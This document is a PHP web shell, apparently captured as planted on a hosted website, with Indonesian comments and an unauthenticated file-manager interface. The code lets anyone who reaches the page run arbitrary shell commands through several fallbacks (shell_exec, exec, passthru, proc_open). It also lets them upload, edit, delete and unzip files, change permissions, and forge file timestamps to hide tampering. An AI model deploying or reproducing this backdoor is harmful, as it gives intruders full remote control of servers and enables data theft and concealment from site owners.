Your IP : 216.73.216.162


Current Path : /home/x/b/o/xbodynamge/namtation/0129e8/
Upload File :
Current File : /home/x/b/o/xbodynamge/namtation/0129e8/private8.php

<?php
session_start();

// --- FUNGSI BANTUAN ---
function set_message($message, $type = 'success') { $_SESSION['message'] = ['text' => $message, 'type' => $type]; }
function display_message() {
    if (isset($_SESSION['message'])) {
        $msg = $_SESSION['message'];
        $color = ['success' => 'green', 'error' => 'red', 'warning' => 'yellow'][$msg['type']] ?? 'gray';
        echo "<div id='flash-message' class='fixed top-5 right-5 bg-{$color}-500 text-white py-2 px-4 rounded-lg shadow-lg z-50 fade-in-out'>{$msg['text']}</div>";
        unset($_SESSION['message']);
    }
}
function formatSize($bytes) {
    if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
    elseif ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
    elseif ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
    elseif ($bytes > 0) return $bytes . ' Bytes';
    else return '0 Bytes';
}
function getPerms($path) { return substr(sprintf('%o', fileperms($path)), -4); }
function encodePath($path) { return rtrim(strtr(base64_encode($path), '+/', '-_'), '='); }
function decodePath($path) { return base64_decode(strtr($path, '-_', '+/')); }
function deleteDirectory($dir) {
    if (!is_dir($dir)) return false;
    foreach (array_diff(scandir($dir), ['.', '..']) as $file) {
        (is_dir("$dir/$file")) ? deleteDirectory("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
}

// Fungsi untuk mengubah waktu modifikasi/akses file dengan input timestamp
function touch_item($path, $timestamp = null) {
    if (file_exists($path)) {
        if ($timestamp === null) {
            // Jika timestamp null, update ke waktu saat ini
            return touch($path);
        } else {
            // Gunakan timestamp yang diberikan oleh pengguna
            return touch($path, $timestamp, $timestamp); // Set atime dan mtime ke timestamp yang sama
        }
    }
    return false;
}

// Fungsi untuk mengubah permission file/folder
function change_perms($path, $perms) {
    if (file_exists($path)) {
        // octdec() mengonversi string oktal menjadi desimal
        return chmod($path, octdec($perms));
    }
    return false;
}

function executeCommand($command, $dir) {
    if (empty($command) || !is_dir($dir)) return "Invalid command or directory.";
    $output = '';
    $originalDir = getcwd();
    chdir($dir);
    $fullCommand = $command . ' 2>&1';

    if (function_exists('shell_exec')) {
        $output = shell_exec($fullCommand);
    } elseif (function_exists('exec')) {
        exec($fullCommand, $lines);
        $output = implode("\n", $lines);
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($fullCommand);
        $output = ob_get_clean();
    } elseif (function_exists('proc_open')) {
        $descriptorspec = array(
            0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            2 => array("pipe", "w")   // stderr is a pipe that the child will write to
        );
        $process = proc_open($fullCommand, $descriptorspec, $pipes);
        if (is_resource($process)) {
            $output = stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            $output .= stream_get_contents($pipes[2]);
            fclose($pipes[2]);
            proc_close($process);
        }
    } else {
        $output = "Command execution functions are disabled.";
    }
    chdir($originalDir);
    return !empty($output) ? $output : "No output from command.";
}

// Fungsi baru untuk unzip file atau unzip file ke folder
function unzip_file_to_folder($zipFilePath, $destFolder = null) {
    if (!file_exists($zipFilePath) || !is_readable($zipFilePath)) {
        return "Zip file not found or not readable.";
    }

    $zip = new ZipArchive;
    if ($zip->open($zipFilePath) === TRUE) {
        // Tentukan folder tujuan
        if ($destFolder === null) {
            $filename = pathinfo($zipFilePath, PATHINFO_FILENAME);
            $destFolder = dirname($zipFilePath) . DIRECTORY_SEPARATOR . $filename;
        }

        if (!is_dir($destFolder)) {
            mkdir($destFolder, 0755, true);
        }

        if (!is_writable($destFolder)) {
            $zip->close();
            return "Destination folder is not writable: " . htmlspecialchars($destFolder);
        }

        $zip->extractTo($destFolder);
        $zip->close();
        return true;
    } else {
        return "Failed to open zip file.";
    }
}


// --- PENANGANAN PATH ---
$home_path = __DIR__;
$current_path = isset($_GET['p']) ? decodePath($_GET['p']) : $home_path;
if (!file_exists($current_path) || !is_readable($current_path)) {
    set_message("Path not found or not readable. Resetting to home.", 'error');
    $current_path = $home_path;
}
define("PATH", realpath($current_path));

// --- PENANGANAN AKSI (API & FORM) ---
if (isset($_POST['action'])) {
    $action = $_POST['action'];
    $redirect_url = '?p=' . encodePath(PATH);

    switch ($action) {
        case 'upload':
            if (isset($_FILES['filesToUpload'])) {
                if (is_writable(PATH)) {
                    $total = count($_FILES['filesToUpload']['name']);
                    $uploaded_count = 0;
                    for ($i = 0; $i < $total; $i++) {
                        $target_file = PATH . DIRECTORY_SEPARATOR . basename($_FILES['filesToUpload']['name'][$i]);
                        if (move_uploaded_file($_FILES['filesToUpload']['tmp_name'][$i], $target_file)) {
                            $uploaded_count++;
                        }
                    }
                    set_message("Uploaded {$uploaded_count}/{$total} file(s).", 'success');
                } else set_message("Upload failed: Directory not writable.", 'error');
            }
            break;
        case 'create_file':
            if (!empty($_POST['name']) && is_writable(PATH)) {
                $file_path = PATH . DIRECTORY_SEPARATOR . $_POST['name'];
                if (!file_exists($file_path)) {
                    touch($file_path) ? set_message("File '{$_POST['name']}' created.", 'success') : set_message("Failed to create file.", 'error');
                } else set_message("File already exists.", 'warning');
            } else set_message("Invalid name or directory not writable.", 'error');
            break;
        case 'create_folder':
            if (!empty($_POST['name']) && is_writable(PATH)) {
                $folder_path = PATH . DIRECTORY_SEPARATOR . $_POST['name'];
                if (!file_exists($folder_path)) {
                    mkdir($folder_path) ? set_message("Folder '{$_POST['name']}' created.", 'success') : set_message("Failed to create folder.", 'error');
                } else set_message("Folder already exists.", 'warning');
            } else set_message("Invalid name or directory not writable.", 'error');
            break;
        case 'rename':
            if (!empty($_POST['old_name']) && !empty($_POST['new_name'])) {
                $old_path = PATH . DIRECTORY_SEPARATOR . $_POST['old_name'];
                $new_path = PATH . DIRECTORY_SEPARATOR . $_POST['new_name'];
                if (file_exists($old_path) && is_writable(PATH)) {
                    rename($old_path, $new_path) ? set_message("Renamed to '{$_POST['new_name']}'.", 'success') : set_message("Rename failed.", 'error');
                } else set_message("Item not found or directory not writable.", 'error');
            }
            break;
        case 'edit':
            if (!empty($_POST['filename'])) {
                $file_path = PATH . DIRECTORY_SEPARATOR . $_POST['filename'];
                if (is_file($file_path) && is_writable($file_path)) {
                    file_put_contents($file_path, $_POST['data']) !== false ? set_message("Saved '{$_POST['filename']}'.", 'success') : set_message("Failed to save file.", 'error');
                } else set_message("File not found or not writable.", 'error');
            }
            break;
        case 'touch_item':
            if (!empty($_POST['item_name'])) {
                $item_path = PATH . DIRECTORY_SEPARATOR . $_POST['item_name'];
                $new_datetime_str = $_POST['new_datetime'] ?? '';

                $timestamp = null;
                if (!empty($new_datetime_str)) {
                    // Coba buat timestamp dari input datetime
                    $timestamp = strtotime($new_datetime_str);
                    if ($timestamp === false) {
                        set_message("Invalid date/time format.", 'error');
                        header('Location: ' . $redirect_url);
                        exit();
                    }
                }

                if (file_exists($item_path) && is_writable($item_path)) {
                    touch_item($item_path, $timestamp) ? set_message("Timestamp for '{$_POST['item_name']}' updated.", 'success') : set_message("Failed to update timestamp.", 'error');
                } else set_message("Item not found or not writable.", 'error');
            } else set_message("Invalid item name.", 'error');
            break;
        case 'change_perms':
            if (!empty($_POST['item_name']) && !empty($_POST['new_perms'])) {
                $item_path = PATH . DIRECTORY_SEPARATOR . $_POST['item_name'];
                $new_perms = $_POST['new_perms'];
                if (file_exists($item_path) && is_writable(PATH)) {
                    change_perms($item_path, $new_perms) ? set_message("Permissions for '{$_POST['item_name']}' changed to '{$new_perms}'.", 'success') : set_message("Failed to change permissions.", 'error');
                } else set_message("Item not found or directory not writable.", 'error');
            } else set_message("Invalid item name or permissions.", 'error');
            break;
    }
    header('Location: ' . $redirect_url);
    exit();
}

if (isset($_GET['action'])) {
    header('Content-Type: application/json');
    $action = $_GET['action'];
    $response = ['status' => 'error', 'data' => 'Invalid action'];

    switch ($action) {
        case 'get_content':
            if (!empty($_GET['file'])) {
                $file_path = PATH . DIRECTORY_SEPARATOR . $_GET['file'];
                if (is_file($file_path) && is_readable($file_path)) {
                    $response = ['status' => 'success', 'data' => file_get_contents($file_path)];
                } else $response['data'] = 'File not found or not readable.';
            }
            break;
        case 'delete':
            if (!empty($_GET['item'])) {
                $item_path = PATH . DIRECTORY_SEPARATOR . $_GET['item'];
                if (file_exists($item_path) && is_writable(PATH)) {
                    if (is_dir($item_path)) {
                        deleteDirectory($item_path) ? $response = ['status' => 'success'] : $response['data'] = 'Failed to delete directory.';
                    } else {
                        unlink($item_path) ? $response = ['status' => 'success'] : $response['data'] = 'Failed to delete file.';
                    }
                } else $response['data'] = 'Item not found or directory not writable.';
            }
            break;
        case 'cmd':
             if (!empty($_GET['command'])) {
                $output = executeCommand($_GET['command'], PATH);
                $response = ['status' => 'success', 'data' => $output];
            } else $response['data'] = 'No command provided.';
            break;
        case 'unzip': // Aksi baru untuk unzip
            if (!empty($_GET['file'])) {
                $file_path = PATH . DIRECTORY_SEPARATOR . $_GET['file'];
                if (is_file($file_path) && strtolower(pathinfo($file_path, PATHINFO_EXTENSION)) === 'zip') {
                    $unzip_result = unzip_file_to_folder($file_path);
                    if ($unzip_result === true) {
                        $response = ['status' => 'success', 'data' => 'File unzipped successfully.'];
                    } else {
                        $response['data'] = $unzip_result;
                    }
                } else {
                    $response['data'] = 'File not found, not a file, or not a zip file.';
                }
            } else {
                $response['data'] = 'No file provided for unzip.';
            }
            break;
    }
    echo json_encode($response);
    exit();
}
?>
<!DOCTYPE html>
<html lang="en" class="bg-gray-100">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?= md5($_SERVER["HTTP_HOST"]); ?></title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        body { font-family: 'Inter', sans-serif; }
        @import url('https://rsms.me/inter/inter.css');
        .modal { display: none; }
        .modal.active { display: flex; }
        .fade-in-out { animation: fadeInOut 3s forwards; }
        @keyframes fadeInOut { 0%, 100% { opacity: 0; transform: translateY(-20px); } 10%, 90% { opacity: 1; transform: translateY(0); } }
        .breadcrumb-part:last-child { color: #16a34a; font-weight: 600; }
    </style>
</head>
<body class="text-gray-800">

<div class="container mx-auto p-4 md:p-6">
    <header class="bg-white p-4 rounded-lg shadow-sm mb-6">
        <div class="flex items-center space-x-4">
            <a href="?p=<?= encodePath($home_path) ?>" title="Go to Home" class="flex-shrink-0">
                <i class="fa-solid fa-house"></i>
            </a>
            <div class="flex items-center space-x-1.5 text-sm text-gray-500 flex-wrap">
                <?php
                $path_parts = explode(DIRECTORY_SEPARATOR, PATH);
                $build_path = '';
                foreach ($path_parts as $i => $part) {
                    if (empty($part) && $i === 0) { $build_path = DIRECTORY_SEPARATOR; echo "<a href='?p=".encodePath($build_path)."' class='hover:text-blue-600 breadcrumb-part'><i class='fa-solid fa-hashtag'></i></a>"; continue; }
                    if (empty($part)) continue;
                    $build_path .= ($build_path === DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR) . $part;
                    echo "<span class='text-gray-300'>/</span><a href='?p=".encodePath($build_path)."' class='hover:text-blue-600 breadcrumb-part'>".htmlspecialchars($part)."</a>";
                }
                ?>
            </div>
        </div>
    </header>

    <div class="bg-white rounded-lg shadow-sm overflow-hidden">
        <div class="overflow-x-auto max-h-[29rem] overflow-y-auto">
            <table class="w-full text-sm">
                <thead class="bg-gray-50 border-b border-gray-200 sticky top-0">
                    <tr>
                        <th class="p-3 text-left font-semibold text-gray-600">Name</th>
                        <th class="p-3 text-left font-semibold text-gray-600">Size</th> <th class="p-3 text-left font-semibold text-gray-600">Modified</th> <th class="p-3 text-left font-semibold text-gray-600">Perms</th>
                        <th class="p-3 text-left font-semibold text-gray-600">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $items = array_diff(scandir(PATH), ['.', '..']);
                    $files = [];
                    $folders = [];

                    foreach ($items as $item) {
                        $path = PATH . DIRECTORY_SEPARATOR . $item;
                        if (is_dir($path)) {
                            $folders[] = $item;
                        } else {
                            $files[] = $item;
                        }
                    }

                    // Urutkan folder dan file secara alfabetis
                    sort($folders);
                    sort($files);

                    $sorted_items = array_merge($folders, $files);

                    foreach ($sorted_items as $item) {
                        $path = PATH . DIRECTORY_SEPARATOR . $item;
                        $is_dir = is_dir($path);
                    ?>
                    <tr class="border-b border-gray-200 hover:bg-gray-50">
                        <td class="p-3 flex items-center space-x-3">
                            <?php if ($is_dir): $is_writable = is_writable($path); ?>
                                <i class="fa-solid <?= $is_writable ? 'fa-folder-open text-green-500' : 'fa-folder-closed text-red-500' ?> text-lg"></i>
                                <a href="?p=<?= encodePath($path) ?>" class="hover:underline"><?= htmlspecialchars($item) ?></a>
                            <?php else: ?>
                                <i class="fa-solid fa-file-lines text-gray-500"></i>
                                <span><?= htmlspecialchars($item) ?></span>
                            <?php endif; ?>
                        </td>
                        <td class="p-3"><?= $is_dir ? '—' : formatSize(filesize($path)) ?></td> <td class="p-3"><?= date("Y-m-d H:i", filemtime($path)) ?></td> <td class="p-3 font-mono text-xs"><?= getPerms($path) ?></td>
                        <td class="p-3">
                            <div class="flex items-center space-x-3">
                                <?php if (!$is_dir): ?>
                                <button onclick="openEditModal('<?= htmlspecialchars($item, ENT_QUOTES) ?>')" title="Edit" class="text-gray-500 hover:text-blue-600"><i class="fa-solid fa-pen-to-square"></i></button>
                                <?php
                                // Tambahkan tombol unzip untuk file .zip
                                if (strtolower(pathinfo($item, PATHINFO_EXTENSION)) === 'zip'): ?>
                                    <button onclick="unzipItem('<?= htmlspecialchars($item, ENT_QUOTES) ?>')" title="Unzip" class="text-gray-500 hover:text-purple-600"><i class="fa-solid fa-file-zipper"></i></button>
                                <?php endif; ?>
                                <a href="<?= htmlspecialchars(basename($item), ENT_QUOTES) ?>" target="_blank" title="View File" class="text-gray-500 hover:text-teal-600">
                                    <i class="fa-solid fa-eye"></i>
                                </a>
                                <?php endif; ?>
                                <button onclick="openRenameModal('<?= htmlspecialchars($item, ENT_QUOTES) ?>')" title="Rename" class="text-gray-500 hover:text-green-600"><i class="fa-solid fa-file-pen"></i></button>
                                <button onclick="deleteItem('<?= htmlspecialchars($item, ENT_QUOTES) ?>')" title="Delete" class="text-gray-500 hover:text-red-600"><i class="fa-solid fa-trash-can"></i></button>
                                <button onclick="openTouchModal('<?= htmlspecialchars($item, ENT_QUOTES) ?>', '<?= date('Y-m-d\TH:i', filemtime($path)) ?>')" title="Edit Time" class="text-gray-500 hover:text-purple-600"><i class="fa-solid fa-clock-rotate-left"></i></button>
                                <button onclick="openPermsModal('<?= htmlspecialchars($item, ENT_QUOTES) ?>', '<?= getPerms($path) ?>')" title="Change Permissions" class="text-gray-500 hover:text-orange-600"><i class="fa-solid fa-key"></i></button>
                            </div>
                        </td>
                    </tr>
                    <?php } ?>
                </tbody>
            </table>
        </div>
    </div>
</div>

<div class="fixed bottom-[2rem] items-center flex flex-col space-y-3 z-20 w-full">
    <div class="text-gray-600 text-sm mr-2">
        &copy; <?= date("Y") ?> <?= htmlspecialchars($_SERVER["HTTP_HOST"]) ?>
    </div>
</div>

<div class="fixed bottom-6 right-6 flex flex-col items-center space-y-3 z-20">    
    <button id="main-fab" class="w-14 h-14 bg-blue-600 text-white rounded-full shadow-lg flex items-center justify-center text-2xl transition-transform transform hover:scale-110">
        <i class="fa-solid fa-bars"></i>
    </button>
    <div id="fab-menu" class="flex-col items-center space-y-3 hidden">
        <button onclick="openModal('uploadModal')" title="Upload" class="w-12 h-12 bg-white text-blue-600 rounded-full shadow-md flex items-center justify-center"><i class="fa-solid fa-upload"></i></button>
        <button onclick="openModal('fileModal')" title="New File" class="w-12 h-12 bg-white text-blue-600 rounded-full shadow-md flex items-center justify-center"><i class="fa-solid fa-file-circle-plus"></i></button>
        <button onclick="openModal('folderModal')" title="New Folder" class="w-12 h-12 bg-white text-blue-600 rounded-full shadow-md flex items-center justify-center"><i class="fa-solid fa-folder-plus"></i></button>
        <button onclick="openModal('cmdModal')" title="CMD" class="w-12 h-12 bg-white text-blue-600 rounded-full shadow-md flex items-center justify-center"><i class="fa-solid fa-terminal"></i></button>
    </div>
</div>

<div id="modal-container">
    <div id="uploadModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
        <div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
            <h3 class="text-lg font-bold mb-4">Upload Files</h3>
            <form method="post" enctype="multipart/form-data" action="?p=<?= encodePath(PATH) ?>">
                <input type="hidden" name="action" value="upload">
                <input type="file" name="filesToUpload[]" multiple class="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4 file:rounded-full file:border-0 file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100 mb-4">
                <div class="flex justify-end space-x-2">
                    <button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
                    <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Upload</button>
                </div>
            </form>
        </div>
    </div>
    <div id="fileModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
        <div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
            <h3 class="text-lg font-bold mb-4">Create New File</h3>
            <form method="post" action="?p=<?= encodePath(PATH) ?>">
                <input type="hidden" name="action" value="create_file">
                <input type="text" name="name" placeholder="filename.txt" class="w-full border rounded-lg px-3 py-2 mb-4">
                <div class="flex justify-end space-x-2">
                    <button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
                    <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Create</button>
                </div>
            </form>
        </div>
    </div>
    <div id="folderModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
        <div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
            <h3 class="text-lg font-bold mb-4">Create New Folder</h3>
            <form method="post" action="?p=<?= encodePath(PATH) ?>">
                <input type="hidden" name="action" value="create_folder">
                <input type="text" name="name" placeholder="New Folder" class="w-full border rounded-lg px-3 py-2 mb-4">
                <div class="flex justify-end space-x-2">
                    <button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
                    <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Create</button>
                </div>
            </form>
        </div>
    </div>
    <div id="renameModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
        <div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
            <h3 class="text-lg font-bold mb-4">Rename Item</h3>
            <form method="post" action="?p=<?= encodePath(PATH) ?>">
                <input type="hidden" name="action" value="rename">
                <input type="hidden" id="rename-old-name" name="old_name">
                <input type="text" id="rename-new-name" name="new_name" class="w-full border rounded-lg px-3 py-2 mb-4">
                <div class="flex justify-end space-x-2">
                    <button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
                    <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Rename</button>
                </div>
            </form>
        </div>
    </div>
    <div id="editModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
        <div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-3/4 lg:w-2/3 flex flex-col">
            <h3 class="text-lg font-bold mb-4" id="edit-title">Edit File</h3>
            <form method="post" action="?p=<?= encodePath(PATH) ?>" class="flex-grow flex flex-col">
                <input type="hidden" name="action" value="edit">
                <input type="hidden" id="edit-filename" name="filename">
                <textarea rows="20" id="edit-data" name="data" class="w-full border rounded-lg px-3 py-2 mb-4 font-mono text-sm flex-grow"></textarea>
                <div class="flex justify-end space-x-2">
                    <button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
                    <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Save</button>
                </div>
            </form>
        </div>
    </div>
    <div id="cmdModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
        <div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-3/4 lg:w-2/3 flex flex-col">
            <h3 class="text-lg font-bold mb-4">Command Terminal</h3>
            <div id="cmd-output" class="bg-gray-900 text-white font-mono text-xs p-4 rounded-lg h-64 overflow-y-auto mb-4 flex-grow"></div>
            <div class="flex space-x-2">
                <input type="text" id="cmd-input" placeholder="ls -lah" class="w-full border rounded-lg px-3 py-2 font-mono text-sm">
                <button id="cmd-execute" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Execute</button>
            </div>
             <button type="button" class="modal-close absolute top-3 right-3 text-gray-500 hover:text-gray-800">&times;</button>
        </div>
    </div>

    <div id="editTimeModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
        <div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
            <h3 class="text-lg font-bold mb-4">Edit Item Timestamp</h3>
            <form method="post" action="?p=<?= encodePath(PATH) ?>">
                <input type="hidden" name="action" value="touch_item">
                <input type="hidden" id="edit-time-item-name" name="item_name">
                <label for="edit-time-datetime" class="block text-sm font-medium text-gray-700">New Date and Time:</label>
                <input type="datetime-local" id="edit-time-datetime" name="new_datetime" class="w-full border rounded-lg px-3 py-2 mt-1 mb-4">
                <div class="flex justify-end space-x-2">
                    <button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
                    <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Update Timestamp</button>
                </div>
            </form>
        </div>
    </div>


    <div id="permsModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
        <div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
            <h3 class="text-lg font-bold mb-4">Change Permissions</h3>
            <form method="post" action="?p=<?= encodePath(PATH) ?>">
                <input type="hidden" name="action" value="change_perms">
                <input type="hidden" id="perms-item-name" name="item_name">
                <label for="perms-new-perms" class="block text-sm font-medium text-gray-700">Current Permissions: <span id="current-perms" class="font-mono"></span></label>
                <input type="text" id="perms-new-perms" name="new_perms" placeholder="e.g., 0755" maxlength="4" class="w-full border rounded-lg px-3 py-2 mt-1 mb-4">
                <div class="flex justify-end space-x-2">
                    <button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
                    <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Change</button>
                </div>
            </form>
        </div>
    </div>

</div>

<?php display_message(); ?>

<script>
document.addEventListener('DOMContentLoaded', function() {
    const fab = document.getElementById('main-fab');
    const fabMenu = document.getElementById('fab-menu');
    const modals = document.querySelectorAll('.modal');

    // FAB Menu Toggle
    fab.addEventListener('click', function() {
        fabMenu.classList.toggle('hidden');
        fabMenu.classList.toggle('flex');
        fab.querySelector('i').classList.toggle('fa-xmark');
        fab.querySelector('i').classList.toggle('fa-times'); // Fallback for older Font Awesome
    });

    // Modal Controls
    window.openModal = (id) => document.getElementById(id)?.classList.add('active');
    const closeModal = () => modals.forEach(m => m.classList.remove('active'));

    document.querySelectorAll('.modal-close').forEach(btn => btn.addEventListener('click', closeModal));
    modals.forEach(m => m.addEventListener('click', (e) => { if (e.target === m) closeModal(); }));

    // Item Actions
    window.openRenameModal = (name) => {
        document.getElementById('rename-old-name').value = name;
        document.getElementById('rename-new-name').value = name;
        openModal('renameModal');
    };

    window.openEditModal = async (name) => {
        const title = document.getElementById('edit-title');
        const filenameInput = document.getElementById('edit-filename');
        const dataTextarea = document.getElementById('edit-data');
        
        title.innerText = 'Loading...';
        filenameInput.value = name;
        dataTextarea.value = 'Fetching file content...';
        openModal('editModal');

        try {
            const response = await fetch(`?action=get_content&file=${encodeURIComponent(name)}&p=<?= encodePath(PATH) ?>`);
            const result = await response.json();
            if (result.status === 'success') {
                dataTextarea.value = result.data;
                title.innerText = `Edit: ${name}`;
            } else {
                dataTextarea.value = `Error: ${result.data}`;
            }
        } catch (e) {
            dataTextarea.value = 'Failed to fetch file content.';
        }
    };

    window.deleteItem = async (name) => {
        if (confirm(`Are you sure you want to permanently delete "${name}"?`)) {
            try {
                const response = await fetch(`?action=delete&item=${encodeURIComponent(name)}&p=<?= encodePath(PATH) ?>`);
                const result = await response.json();
                if (result.status === 'success') {
                    window.location.reload();
                } else {
                    alert(`Error: ${result.data}`);
                }
            } catch (e) {
                alert('Failed to delete item.');
            }
        }
    };

    // New: Open Edit Time Modal
    window.openTouchModal = (name, currentDateTime) => {
        document.getElementById('edit-time-item-name').value = name;
        document.getElementById('edit-time-datetime').value = currentDateTime;
        openModal('editTimeModal');
    };

    window.openPermsModal = (name, perms) => {
        document.getElementById('perms-item-name').value = name;
        document.getElementById('current-perms').innerText = perms;
        document.getElementById('perms-new-perms').value = perms; // Pre-fill with current perms
        openModal('permsModal');
    };

    // New: Unzip function
    window.unzipItem = async (name) => {
        if (confirm(`Are you sure you want to unzip "${name}"? This will create a new folder with the extracted contents.`)) {
            try {
                const response = await fetch(`?action=unzip&file=${encodeURIComponent(name)}&p=<?= encodePath(PATH) ?>`);
                const result = await response.json();
                if (result.status === 'success') {
                    alert(result.data);
                    window.location.reload();
                } else {
                    alert(`Error: ${result.data}`);
                }
            } catch (e) {
                alert('Failed to unzip file.');
            }
        }
    };
    
    // CMD Modal Logic
    const cmdInput = document.getElementById('cmd-input');
    const cmdOutput = document.getElementById('cmd-output');
    const cmdExecute = document.getElementById('cmd-execute');
    
    const executeCmd = async () => {
        const command = cmdInput.value;
        if (!command) return;
        
        cmdOutput.innerHTML += `<div class="text-yellow-400">> ${command}</div>`;
        cmdInput.value = '';
        
        try {
            const response = await fetch(`?action=cmd&command=${encodeURIComponent(command)}&p=<?= encodePath(PATH) ?>`);
            const result = await response.json();
            const outputText = result.data.replace(/\n/g, '<br>');
            cmdOutput.innerHTML += `<div>${outputText}</div>`;
        } catch (e) {
            cmdOutput.innerHTML += `<div class="text-red-500">Request failed.</div>`;
        }
        cmdOutput.scrollTop = cmdOutput.scrollHeight;
    };
    
    cmdExecute.addEventListener('click', executeCmd);
    cmdInput.addEventListener('keydown', (e) => { if(e.key === 'Enter') executeCmd(); });

    // Flash message hide
    const flash = document.getElementById('flash-message');
    if(flash) setTimeout(() => flash.remove(), 3000);
});
</script>

</body>
</html>